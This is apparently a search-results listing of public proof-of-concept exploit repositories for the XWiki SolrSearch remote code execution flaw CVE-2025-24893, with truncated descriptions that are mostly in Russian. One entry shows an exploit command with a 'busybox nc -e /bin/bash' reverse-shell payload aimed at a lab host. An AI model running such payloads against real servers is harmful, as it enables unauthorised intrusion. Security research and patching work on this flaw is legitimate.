39 matches found
CVE-2025-24893
Обратная оболочка для CVE-2025-24893 python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" Улучшение оболочки 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
CVE-2025-24893-POC
CVE-2025-24893 Установите bun: curl -fsSL https://bun.com/install | bash Для установки зависимостей: bun install Для запуска: bun run CVE-2025-24893.ts Этот проект создан с помощью bun init в bun v1.2.19. Bun — это быстрая универсальная среда выполнения JavaScript. Как использовать: Usage: bun...
CVE-2025-24893-RCE-PoC
Информация Этот PoC сначала проверяет наличие SSTI, и если уязвимость присутствует, он переходит в цикл и позволяет вам удалённо выполнять команды. Команды exec и shell в настоящее время делают одно и то же. Установка python3 -m pip install requirements.txt Использование Подключение python3 poc.p...
CVE-2025-24893-POC
CVE-2025-24893-POC POC для CVE-2025-24893, написанный на python Использование python3 -u the url...
CVE-2025-24893-PoC
Отказ от ответственности: Уязвимость и шаги по ее воспроизведению, описанные в данной статье, предназначены исключительно для исследовательских и образовательных целей в области кибербезопасности. Никому не разрешается использовать информацию, предоставленную в этой статье, для незаконных целей и...
CVE-2025-24893
CVE-2025-24893 사용법 python CVE-2025-24893 http://target.com...
CVE-2025-24893
Анализ уязвимости CVE-2025-24893 XWiki RCE Установка окружения 1. Запуск окружения XWiki 15.10.10 docker-compose up -d 2. Подключение к XWiki URL: http://localhost:8080 После завершения начальной настройки выполните тестирование После доступа к начальной странице создайте учетную запись...
CVE-2025-24893
CVE-2025-24893 Bash POC-скрипт для уязвимости RCE в XWiki Platform Пример использования: Настройте netcat слушатель: $ nc -nvlp Затем запустите скрипт: $ chmod +x cve.sh $ ./cve.sh Затронутые версии: С 5.4 до 15.10.11 С 16.0.0 до 16.4.1 Отказ от ответственности Этот инструмент предназначен только...
xwiki-cve-2025-24893-poc
PoC эксплуатации XWiki RCE CVE-2025-24893 Обзор Этот репозиторий содержит Proof of Concept PoC эксплойт для уязвимости удаленного выполнения кода RCE в XWiki, идентифицированной как CVE-2025-24893. Уязвимость позволяет злоумышленнику выполнить произвольный код на целевой системе XWiki путем...
xwiki_solrsearch-rce-exploit
solrsearch-rce-exploit Неавторизованный RCE PoC для XWiki SolrSearch CVE-2025-24893. Выполнение команд + обратный шелл. CVE-2025-24893 – PoC RCE для XWiki SolrSearch Доказательство концепции PoC для инъекции шаблонов XWiki SolrSearch, приводящей к неавторизованному удалённому выполнению кода...
POC-for-CVE-2025-24893
Только для вспомогательного исправления уязвимостей, не используйте в других целях...
xwiki-15.10.8-reverse-shell-cve-2025-24893
CVE-2025-24893 Reverse Shell Эксплойт для XWiki Отказ от ответственности: Данный скрипт предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения...
XWiki-Platform-RCE-CVE-2025-24893
Эксплойт неаутентифицированного RCE в XWiki Platform Обзор Этот скрипт представляет собой переработанную реализацию на Bash эксплойта, нацеленного на версии XWiki Platform, затронутые CVE-2025-24893. Он использует критическую уязвимость удалённого выполнения кода без аутентификации, которая...
XWiki Platform - Remote Code Execution
Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1. id: CVE-2025-24893 info: name: XWiki...
Exploit for Eval Injection in Xwiki
CVE-2025-24893 - XWiki SolrSearch SSTI to unauthenticated RCE...
Exploit for Eval Injection in Xwiki
CVE-2025-24893 - XWiki Unauthenticated RCE Exploit POC ⚠️ U...
Exploit for Eval Injection in Xwiki
CVE-2025-24893- CVE-20...
Exploit for Code Injection in Xwiki
CVE-2025-24893 – XWiki Remote Command Execution Proof of Conc...